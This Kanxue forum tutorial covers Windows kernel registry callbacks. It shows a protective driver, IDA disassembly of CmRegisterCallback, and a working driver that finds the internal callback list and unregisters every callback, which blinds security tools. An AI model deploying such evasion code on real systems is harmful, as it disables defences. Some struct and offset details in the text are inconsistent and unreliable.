本文为看雪论坛优秀文章
看雪论坛作者ID:1900
1
简介
2
注册表监控
NTSTATUS
CmRegisterCallback(
IN PEX_CALLBACK_FUNCTION Function,
IN PVOID Context,
OUT PLARGE_INTEGER Cookie
);
NTSTATUS
RegistryCallback(
__in PVOID CallbackContext,
__in_opt PVOID Argument1,
__in_opt PVOID Argument2
);
typedef enum _REG_NOTIFY_CLASS {
RegNtDeleteKey,
RegNtPreDeleteKey = RegNtDeleteKey,
RegNtSetValueKey,
RegNtPreSetValueKey = RegNtSetValueKey,
RegNtDeleteValueKey,
RegNtPreDeleteValueKey = RegNtDeleteValueKey,
RegNtSetInformationKey,
RegNtPreSetInformationKey = RegNtSetInformationKey,
RegNtRenameKey,
RegNtPreRenameKey = RegNtRenameKey,
RegNtEnumerateKey,
RegNtPreEnumerateKey = RegNtEnumerateKey,
RegNtEnumerateValueKey,
RegNtPreEnumerateValueKey = RegNtEnumerateValueKey,
RegNtQueryKey,
RegNtPreQueryKey = RegNtQueryKey,
RegNtQueryValueKey,
RegNtPreQueryValueKey = RegNtQueryValueKey,
RegNtQueryMultipleValueKey,
RegNtPreQueryMultipleValueKey = RegNtQueryMultipleValueKey,
RegNtPreCreateKey,
RegNtPostCreateKey,
RegNtPreOpenKey,
RegNtPostOpenKey,
RegNtKeyHandleClose,
RegNtPreKeyHandleClose = RegNtKeyHandleClose,
//
// .Net only
//
RegNtPostDeleteKey,
RegNtPostSetValueKey,
RegNtPostDeleteValueKey,
RegNtPostSetInformationKey,
RegNtPostRenameKey,
RegNtPostEnumerateKey,
RegNtPostEnumerateValueKey,
RegNtPostQueryKey,
RegNtPostQueryValueKey,
RegNtPostQueryMultipleValueKey,
RegNtPostKeyHandleClose,
RegNtPreCreateKeyEx,
RegNtPostCreateKeyEx,
RegNtPreOpenKeyEx,
RegNtPostOpenKeyEx,
//
// new to Windows Vista
//
RegNtPreFlushKey,
RegNtPostFlushKey,
RegNtPreLoadKey,
RegNtPostLoadKey,
RegNtPreUnLoadKey,
RegNtPostUnLoadKey,
RegNtPreQueryKeySecurity,
RegNtPostQueryKeySecurity,
RegNtPreSetKeySecurity,
RegNtPostSetKeySecurity,
//
// per-object context cleanup
//
RegNtCallbackObjectContextCleanup,
//
// new in Vista SP2
//
RegNtPreRestoreKey,
RegNtPostRestoreKey,
RegNtPreSaveKey,
RegNtPostSaveKey,
RegNtPreReplaceKey,
RegNtPostReplaceKey,
MaxRegNtNotifyClass //should always be the last enum
} REG_NOTIFY_CLASS;
typedef struct _REG_CREATE_KEY_INFORMATION {
PUNICODE_STRING CompleteName; // IN
PVOID RootObject; // IN
PVOID ObjectType; // new to Windows Vista
ULONG CreateOptions;// new to Windows Vista
PUNICODE_STRING Class; // new to Windows Vista
PVOID SecurityDescriptor;// new to Windows Vista
PVOID SecurityQualityOfService;// new to Windows Vista
ACCESS_MASK DesiredAccess;// new to Windows Vista
ACCESS_MASK GrantedAccess;// new to Windows Vista
// to be filled in by callbacks
// when bypassing native code
PULONG Disposition; // new to Windows Vista
// on pass through, callback should fill
// in disposition
PVOID *ResultObject;// new to Windows Vista
// on pass through, callback should return
// object to be used for the return handle
PVOID CallContext; // new to Windows Vista
PVOID RootObjectContext; // new to Windows Vista
PVOID Transaction; // new to Windows Vista
PVOID Reserved; // new to Windows Vista
} REG_CREATE_KEY_INFORMATION, REG_OPEN_KEY_INFORMATION,*PREG_CREATE_KEY_INFORMATION, *PREG_OPEN_KEY_INFORMATION;
typedef struct _REG_DELETE_KEY_INFORMATION {
PVOID Object; // IN
PVOID CallContext; // new to Windows Vista
PVOID ObjectContext;// new to Windows Vista
PVOID Reserved; // new to Windows Vista
} REG_DELETE_KEY_INFORMATION, *PREG_DELETE_KEY_INFORMATION
typedef struct _REG_DELETE_KEY_INFORMATION {
PVOID Object; // IN
PVOID CallContext; // new to Windows Vista
PVOID ObjectContext;// new to Windows Vista
PVOID Reserved; // new to Windows Vista
} REG_DELETE_KEY_INFORMATION, *PREG_DELETE_KEY_INFORMATION
typedef struct _REG_SET_VALUE_KEY_INFORMATION {
PVOID Object; // IN
PUNICODE_STRING ValueName; // IN
ULONG TitleIndex; // IN
ULONG Type; // IN
PVOID Data; // IN
ULONG DataSize; // IN
PVOID CallContext; // new to Windows Vista
PVOID ObjectContext;// new to Windows Vista
PVOID Reserved; // new to Windows Vista
} REG_SET_VALUE_KEY_INFORMATION, *PREG_SET_VALUE_KEY_INFORMATION;
NTSTATUS
ObQueryNameString(
IN PVOID Object,
OUT POBJECT_NAME_INFORMATION ObjectNameInfo,
IN ULONG Length,
OUT PULONG ReturnLength
);
typedef struct _OBJECT_NAME_INFORMATION {
UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;
NTSTATUS
CmUnRegisterCallback(
IN LARGE_INTEGER Cookie);
#include <ntifs.h>
VOID DriverUnload(IN PDRIVER_OBJECT driverObject);
// 未导出函数声明
PUCHAR PsGetProcessImageFileName(PEPROCESS pEProcess); //根据EPROCESS获取进程名称
NTSTATUS ObQueryNameString(PVOID Object, POBJECT_NAME_INFORMATION ObjectNameInfo, ULONG Length, PULONG ReturnLength); //根据对象获取名称
NTSTATUS RegistryCallback(__in PVOID CallbackContext, __in_opt PVOID Argument1, __in_opt PVOID Argument2); //回调函数
BOOLEAN GetRegisterPath(PUNICODE_STRING pRegPath, PVOID pRegObj); //获取注册表的完整路径
//注册表回调使用的Cookie
LARGE_INTEGER g_liRegCookie;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS status = STATUS_SUCCESS;
status = CmRegisterCallback(RegistryCallback, NULL, &g_liRegCookie);
if (!NT_SUCCESS(status))
{
DbgPrint("回调函数设置失败 0x%X\r\n", status);
}
else
{
DbgPrint("回调函数设置成功\r\n");
}
exit:
driverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
NTSTATUS RegistryCallback(__in PVOID CallbackContext, __in_opt PVOID Argument1, __in_opt PVOID Argument2)
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING uStrRegPath = { 0 }; //保存注册表完整路径
// 保存操作码的类型
REG_NOTIFY_CLASS uOpCode = (REG_NOTIFY_CLASS)Argument1;
// 保存当前操作注册表的进程EPROCESS
PEPROCESS pEProcess = NULL;
PUCHAR pProcName = NULL;
BOOLEAN bNeedProtected = FALSE;
PWCHAR pValue = NULL;
pEProcess = PsGetCurrentProcess();
if (pEProcess != NULL)
{
pProcName = PsGetProcessImageFileName(pEProcess);
}
// 申请内存用来保存注册表路径
uStrRegPath.Length = 0;
uStrRegPath.MaximumLength = 1024 * sizeof(WCHAR);
uStrRegPath.Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, uStrRegPath.MaximumLength);
if (uStrRegPath.Buffer == NULL)
{
DbgPrint("ExAllocatePool Error");
goto exit;
}
RtlZeroMemory(uStrRegPath.Buffer, uStrRegPath.MaximumLength);
switch (uOpCode)
{
// 创建注册表之前
case RegNtPreCreateKey:
{
if (!GetRegisterPath(&uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject))
{
DbgPrint("获取注册表路径失败\r\n");
}
// 显示
// DbgPrint("[RegNtPreCreateKey][%wZ][%wZ]\n", &uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName);
break;
}
// 打开注册表之前
case RegNtPreOpenKey:
{
if (!GetRegisterPath(&uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject))
{
DbgPrint("获取注册表路径失败\r\n");
}
// 显示
// DbgPrint("[RegNtPreOpenKey][%wZ][%wZ]\n", &uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName);
break;
}
// 修改键值之前
case RegNtPreSetValueKey:
{
if (!GetRegisterPath(&uStrRegPath, ((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->Object))
{
DbgPrint("获取注册表路径失败\r\n");
}
pValue = ((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->ValueName->Buffer;
//判断是否需要保护
if (wcsstr(pValue, L"AppInit_DLLs") || wcsstr(pValue, L"LoadAppInit_DLLs"))
{
DbgPrint("[RegNtPreSetValueKey][%wZ][%ws]\r\n", &uStrRegPath, pValue);
if (pProcName) DbgPrint("进程:%s试图修改注册表,拦截成功\r\n", pProcName);
status = STATUS_ACCESS_DENIED; //对操作进行拦截
}
break;
}
default:
{
break;
}
}
exit:
if (uStrRegPath.Buffer)
{
ExFreePool(uStrRegPath.Buffer);
uStrRegPath.Buffer = NULL;
}
return status;
}
BOOLEAN GetRegisterPath(PUNICODE_STRING pRegPath, PVOID pRegObj)
{
NTSTATUS status = STATUS_SUCCESS;
BOOLEAN bRet = TRUE;
ULONG uSize = 0, uRetLength = 0;
PVOID pRegName = NULL;
if (!MmIsAddressValid(pRegObj) || pRegPath == NULL)
{
bRet = FALSE;
goto exit;
}
uSize = 512;
pRegName = ExAllocatePool(NonPagedPool, uSize);
if (pRegName == NULL)
{
DbgPrint("ExAllocatePool Error\r\n");
bRet = FALSE;
goto exit;
}
//根据注册表对象获取注册表路径
status = ObQueryNameString(pRegObj, (POBJECT_NAME_INFORMATION)pRegName, uSize, &uRetLength);
if (!NT_SUCCESS(status))
{
if (pRegName) ExFreePool(pRegName);
DbgPrint("ObQueryNameString Error 0x%X\r\n", status);
bRet = FALSE;
goto exit;
}
//将获得的路径拷贝到目标地址
RtlCopyUnicodeString(pRegPath, (PUNICODE_STRING)pRegName);
exit:
if (pRegName) ExFreePool(pRegName);
return bRet;
}
VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
NTSTATUS status = STATUS_SUCCESS;
if (g_liRegCookie.QuadPart > 0)
{
status = CmUnRegisterCallback(g_liRegCookie);
if (!NT_SUCCESS(status))
{
DbgPrint("删除回调函数失败0x%X\r\n", status);
}
else
{
DbgPrint("删除回调函数成功\r\n");
}
}
DbgPrint("驱动卸载完成\r\n");
}
3
逆向分析CmRegisterCallback
PAGE:0069E3EE ; NTSTATUS __stdcall CmRegisterCallback(PEX_CALLBACK_FUNCTION Function, PVOID Context, PLARGE_INTEGER Cookie)
PAGE:0069E3EE public CmRegisterCallback
PAGE:0069E3EE CmRegisterCallback proc near
PAGE:0069E3EE
PAGE:0069E3EE Function = dword ptr 8
PAGE:0069E3EE Context = dword ptr 0Ch
PAGE:0069E3EE Cookie = dword ptr 10h
PAGE:0069E3EE
PAGE:0069E3EE mov edi, edi
PAGE:0069E3F0 push ebp
PAGE:0069E3F1 mov ebp, esp
PAGE:0069E3F3 push [ebp+Cookie]
PAGE:0069E3F6 mov eax, offset Init_Data ; 将Init_Data的地址赋给eax
PAGE:0069E3FB push 1
PAGE:0069E3FD push [ebp+Context]
PAGE:0069E400 push [ebp+Function]
PAGE:0069E403 call CmCRegisterCallback
PAGE:0069E408 pop ebp
PAGE:0069E409 retn 0Ch
PAGE:0069E409 CmRegisterCallback endp
PAGE:0069E417 CmCRegisterCallback proc near ; CODE XREF: CmRegisterCallbackEx+2C↑p
PAGE:0069E417 ; CmRegisterCallback+15↑p
PAGE:0069E417
PAGE:0069E417 RegFunc = dword ptr 8
PAGE:0069E417 Context = dword ptr 0Ch
PAGE:0069E417 arg_one = dword ptr 10h
PAGE:0069E417 arg_Cookie = dword ptr 14h
PAGE:0069E417
PAGE:0069E417 mov edi, edi
PAGE:0069E419 push ebp
PAGE:0069E41A mov ebp, esp
PAGE:0069E41C push ecx
PAGE:0069E41D push ebx
PAGE:0069E41E mov ebx, [ebp+arg_Cookie] ; 注意这里将Cookie的地址赋给ebx
PAGE:0069E421 push esi
PAGE:0069E422 push edi
PAGE:0069E423 push 'bcMC' ; Tag
PAGE:0069E428 push 30h ; NumberOfBytes
PAGE:0069E42A push PagedPool ; PoolType
PAGE:0069E42C mov edi, eax ; 将结构体赋给edi
PAGE:0069E42E call ExAllocatePoolWithTag
PAGE:0069E433 mov esi, eax ; 申请到得内存地址赋给esi
PAGE:0069E435 test esi, esi
PAGE:0069E437 jnz short loc_69E443 ; 将前向指针和后向指针指向自己
PAGE:0069E439 mov eax, STATUS_INSUFFICIENT_RESOURCES
PAGE:0069E43E jmp loc_69E4CD
PAGE:0069E443 ; ---------------------------------------------------------------------------
PAGE:0069E443
PAGE:0069E443 loc_69E443: ; CODE XREF: CmCRegisterCallback+20↑j
PAGE:0069E443 mov [esi+LIST_ENTRY.Blink], esi ; 将前向指针和后向指针指向自己
PAGE:0069E446 mov [esi+LIST_ENTRY.Flink], esi ; 这里可以知道申请到的地址前8位是个LIST_ENTRY
PAGE:0069E448 lea eax, [esi+28h]
PAGE:0069E44B mov [eax+4], eax
PAGE:0069E44E mov [eax], eax
PAGE:0069E450 mov eax, [ebp+Context]
PAGE:0069E453 and dword ptr [esi+8], 0
PAGE:0069E457 mov [esi+18h], eax ; 申请得内存偏移0x18得地方保存Context
PAGE:0069E45A mov eax, [ebp+RegFunc]
PAGE:0069E45D mov [esi+1Ch], eax ; 申请到的地址偏移0x1C的地方保存回调函数
PAGE:0069E460 movzx eax, word ptr [edi]
PAGE:0069E463 mov [esi+22h], ax
PAGE:0069E467 mov [esi+20h], ax
PAGE:0069E46B movzx eax, word ptr [edi]
PAGE:0069E46E push 'acMC' ; Tag
PAGE:0069E473 push eax ; NumberOfBytes
PAGE:0069E474 push PagedPool ; PoolType
PAGE:0069E476 call ExAllocatePoolWithTag
PAGE:0069E47B mov [esi+24h], eax
PAGE:0069E47E test eax, eax
PAGE:0069E480 jnz short loc_69E489
PAGE:0069E482 mov edi, STATUS_INSUFFICIENT_RESOURCES
PAGE:0069E487 jmp short loc_69E4B4
PAGE:0069E489 ; ---------------------------------------------------------------------------
PAGE:0069E489
PAGE:0069E489 loc_69E489: ; CODE XREF: CmCRegisterCallback+69↑j
PAGE:0069E489 movzx ecx, word ptr [edi]
PAGE:0069E48C push ecx
PAGE:0069E48D push dword ptr [edi+4]
PAGE:0069E490 push eax
PAGE:0069E491 call memcpy
PAGE:0069E496 add esp, 0Ch
PAGE:0069E499 push [ebp+arg_one]
PAGE:0069E49C mov eax, esi ; 申请到的地址赋给eax
PAGE:0069E49E call SetRegisterCallBack
PAGE:0069E4A3 mov edi, eax
PAGE:0069E4A5 mov eax, [esi+10h] ; 将申请到的内存偏移0x14的内容放入eax
PAGE:0069E4A8 mov [ebx], eax ; 此时ebx是Cookie的地址,赋值前4位
PAGE:0069E4AA mov eax, [esi+14h] ; 这两句就是赋值后4位,因为一个COOKIE占8位
PAGE:0069E4AD mov [ebx+4], eax ; 根据这四句就可以知道,esi偏移0x10的地址存放的就是Cookie
PAGE:0069E4B0 test edi, edi
PAGE:0069E4B2 jge short loc_69E4CB
PAGE:0069E4B4
PAGE:0069E4B4 loc_69E4B4: ; CODE XREF: CmCRegisterCallback+70↑j
PAGE:0069E4B4 mov eax, [esi+24h]
PAGE:0069E4B7 test eax, eax
PAGE:0069E4B9 jz short loc_69E4C3
PAGE:0069E4BB push 0 ; Tag
PAGE:0069E4BD push eax ; P
PAGE:0069E4BE call ExFreePoolWithTag
PAGE:0069E4C3
PAGE:0069E4C3 loc_69E4C3: ; CODE XREF: CmCRegisterCallback+A2↑j
PAGE:0069E4C3 push 0 ; Tag
PAGE:0069E4C5 push esi ; P
PAGE:0069E4C6 call ExFreePoolWithTag
PAGE:0069E4CB
PAGE:0069E4CB loc_69E4CB: ; CODE XREF: CmCRegisterCallback+9B↑j
PAGE:0069E4CB mov eax, edi
PAGE:0069E4CD
PAGE:0069E4CD loc_69E4CD: ; CODE XREF: CmCRegisterCallback+27↑j
PAGE:0069E4CD pop edi
PAGE:0069E4CE pop esi
PAGE:0069E4CF pop ebx
PAGE:0069E4D0 pop ecx
PAGE:0069E4D1 pop ebp
PAGE:0069E4D2 retn 10h
PAGE:0069E4D2 CmCRegisterCallback endp
最开始的8个字节保存的是一个LIST_ENTRY类型的双向链表
偏移0x10保存的是COOKIE
偏移0x1C保存的Context
偏移0x18保存的是回调函数的地址
PAGE:0069F34D SetRegisterCallBack proc near ; CODE XREF: CmCRegisterCallback+87↑p
PAGE:0069F34D
PAGE:0069F34D var_4 = dword ptr -4
PAGE:0069F34D arg_One = byte ptr 8
PAGE:0069F34D
PAGE:0069F34D mov edi, edi
PAGE:0069F34F push ebp
PAGE:0069F350 mov ebp, esp
PAGE:0069F352 push ecx
PAGE:0069F353 push ecx
PAGE:0069F354 and [ebp+var_4], 0
PAGE:0069F358 push ebx
PAGE:0069F359 push esi
PAGE:0069F35A mov esi, eax ; 申请到的地址赋给esi
PAGE:0069F35C mov eax, large fs:124h
PAGE:0069F362 dec word ptr [eax+84h]
PAGE:0069F369 push edi
PAGE:0069F36A mov ecx, offset unk_56925C
PAGE:0069F36F mov eax, ecx
PAGE:0069F371 lock bts dword ptr [eax], 0
PAGE:0069F376 jnb short loc_69F37D
PAGE:0069F378 call ExfAcquirePushLockExclusive
PAGE:0069F37D
PAGE:0069F37D loc_69F37D: ; CODE XREF: SetRegisterCallBack+29↑j
PAGE:0069F37D add dword ptr CurrentTime, 1
PAGE:0069F384 mov eax, dword ptr CurrentTime
PAGE:0069F389 mov ebx, offset ListBegin ; ListBegin就是这个链表的首地址
PAGE:0069F389 ; 这里将链表头地址赋给ebx
PAGE:0069F38E adc dword ptr CurrentTime+4, 0
PAGE:0069F395 mov [esi+10h], eax ; 前面说过esi偏移0x10的地方保存的是Cookie
PAGE:0069F395 ; 所以这里就是在初始化cookie
PAGE:0069F398 mov eax, dword ptr CurrentTime+4
PAGE:0069F39D mov [esi+14h], eax
PAGE:0069F3A0 mov edi, ListBegin ; 将ListBegin中保存的内容赋给edi
PAGE:0069F3A6 cmp edi, ebx ; 判断edi的值是不是ListBegin的地址,如果是则跳转到增加链表的代码
PAGE:0069F3A6 ; 由此可以知道链表的最后一个结构体的指向的下一个成员是ListBegin
PAGE:0069F3A8 jz short loc_69F3DE
PAGE:0069F3AA loc_69F3AA: ; CODE XREF: SetRegisterCallBack+7D↓j
PAGE:0069F3AA lea eax, [esi+20h]
PAGE:0069F3AD push eax
PAGE:0069F3AE lea eax, [edi+20h]
PAGE:0069F3B1 push eax
PAGE:0069F3B2 call RtlCompareAltitudes
PAGE:0069F3B7 test eax, eax
PAGE:0069F3B9 jnz short loc_69F3C4
PAGE:0069F3BB cmp [ebp+arg_One], al
PAGE:0069F3BE jnz short loc_69F3C6
PAGE:0069F3C0 jmp short loc_69F3D5
PAGE:0069F3C2 ; ---------------------------------------------------------------------------
PAGE:0069F3C2 jmp short loc_69F3C6
PAGE:0069F3C4 ; ---------------------------------------------------------------------------
PAGE:0069F3C4
PAGE:0069F3C4 loc_69F3C4: ; CODE XREF: SetRegisterCallBack+6C↑j
PAGE:0069F3C4 jl short loc_69F3CC
PAGE:0069F3C6
PAGE:0069F3C6 loc_69F3C6: ; CODE XREF: SetRegisterCallBack+71↑j
PAGE:0069F3C6 ; SetRegisterCallBack+75↑j
PAGE:0069F3C6 mov edi, [edi+LIST_ENTRY.Flink] ; 继续取下一个结构的地址
PAGE:0069F3C8 cmp edi, ebx ; 判断是否到链表头了,不是的话跳上去继续找下一个
PAGE:0069F3C8 ; 这部分代码就是在将edi移到链表的尾部
PAGE:0069F3CA jnz short loc_69F3AA
PAGE:0069F3DE loc_69F3DE: ; CODE XREF: SetRegisterCallBack+5B↑j
PAGE:0069F3DE ; SetRegisterCallBack+81↑j ...
PAGE:0069F3DE mov eax, [edi+LIST_ENTRY.Blink]
PAGE:0069F3E1 mov ecx, [eax+LIST_ENTRY.Flink]
PAGE:0069F3E3 mov [esi+LIST_ENTRY.Flink], ecx
PAGE:0069F3E5 mov [esi+LIST_ENTRY.Blink], eax
PAGE:0069F3E8 mov [ecx+LIST_ENTRY.Blink], esi
PAGE:0069F3EB xor ecx, ecx
PAGE:0069F3ED mov [eax+LIST_ENTRY.Flink], esi
4
反注册表监控
#include <ntifs.h>
VOID DriverUnload(IN PDRIVER_OBJECT driverObject);
PULONG GetRegisterList();
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS status = STATUS_SUCCESS;
PULONG pHead = NULL;
PLIST_ENTRY pListEntry = NULL;
PLARGE_INTEGER pLiRegCookie = NULL;
LARGE_INTEGER test;
PULONG pFuncAddr = NULL;
DbgPrint("驱动加载完成\r\n");
pHead = GetRegisterList();
if (pHead != NULL)
{
pListEntry = (PLIST_ENTRY)*pHead;
while ((ULONG)pListEntry != (ULONG)pHead)
{
if (!MmIsAddressValid(pListEntry)) break;
pLiRegCookie = (PLARGE_INTEGER)((ULONG)pListEntry + 0x10);
pFuncAddr = (PULONG)((ULONG)pListEntry + 0x1C);
//判断地址是否有效
if (MmIsAddressValid(pFuncAddr) && MmIsAddressValid(pLiRegCookie))
{
status = CmUnRegisterCallback(*pLiRegCookie);
if (NT_SUCCESS(status))
{
DbgPrint("删除注册表回调成功,函数地址为0x%X\r\n", *pFuncAddr);
}
}
pListEntry = pListEntry->Flink;
}
}
exit:
driverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
PULONG GetRegisterList()
{
PULONG pListEntry = NULL;
PUCHAR pCmRegFunc = NULL, pCmcRegFunc = NULL, pSetRegFunc = NULL;
UNICODE_STRING uStrFuncName = RTL_CONSTANT_STRING(L"CmRegisterCallback");
pCmRegFunc = (PUCHAR)MmGetSystemRoutineAddress(&uStrFuncName);
if (pCmRegFunc == NULL)
{
DbgPrint("MmGetSystemRoutineAddress Error\r\n");
goto exit;
}
while (*pCmRegFunc != 0xC2)
{
if (*pCmRegFunc == 0xE8)
{
pCmcRegFunc = (PUCHAR)((ULONG)pCmRegFunc + 5 + *(PULONG)(pCmRegFunc + 1));
break;
}
pCmRegFunc++;
}
if (pCmcRegFunc == NULL)
{
DbgPrint("GetCmcRegFunc Error\r\n");
goto exit;
}
while (*pCmcRegFunc != 0xC2)
{
if (*pCmcRegFunc == 0x8B && *(pCmcRegFunc +1) == 0xC6 && *(pCmcRegFunc + 2) == 0xE8)
{
pSetRegFunc = (PUCHAR)((ULONG)pCmcRegFunc + 2 + 5 + *(PULONG)(pCmcRegFunc + 3));
break;
}
pCmcRegFunc++;
}
if (pSetRegFunc == NULL)
{
DbgPrint("GetSetRegFunc Error\r\n");
goto exit;
}
while (*pSetRegFunc != 0xC2)
{
if (*pSetRegFunc == 0xBB)
{
pListEntry = (PULONG)*(PULONG)(pSetRegFunc + 1);
break;
}
pSetRegFunc++;
}
exit:
return pListEntry;
}
VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
DbgPrint("驱动卸载完成\r\n");
}
5
实验结果
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
1.Android APP漏洞之战——权限安全和安全配置漏洞详解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!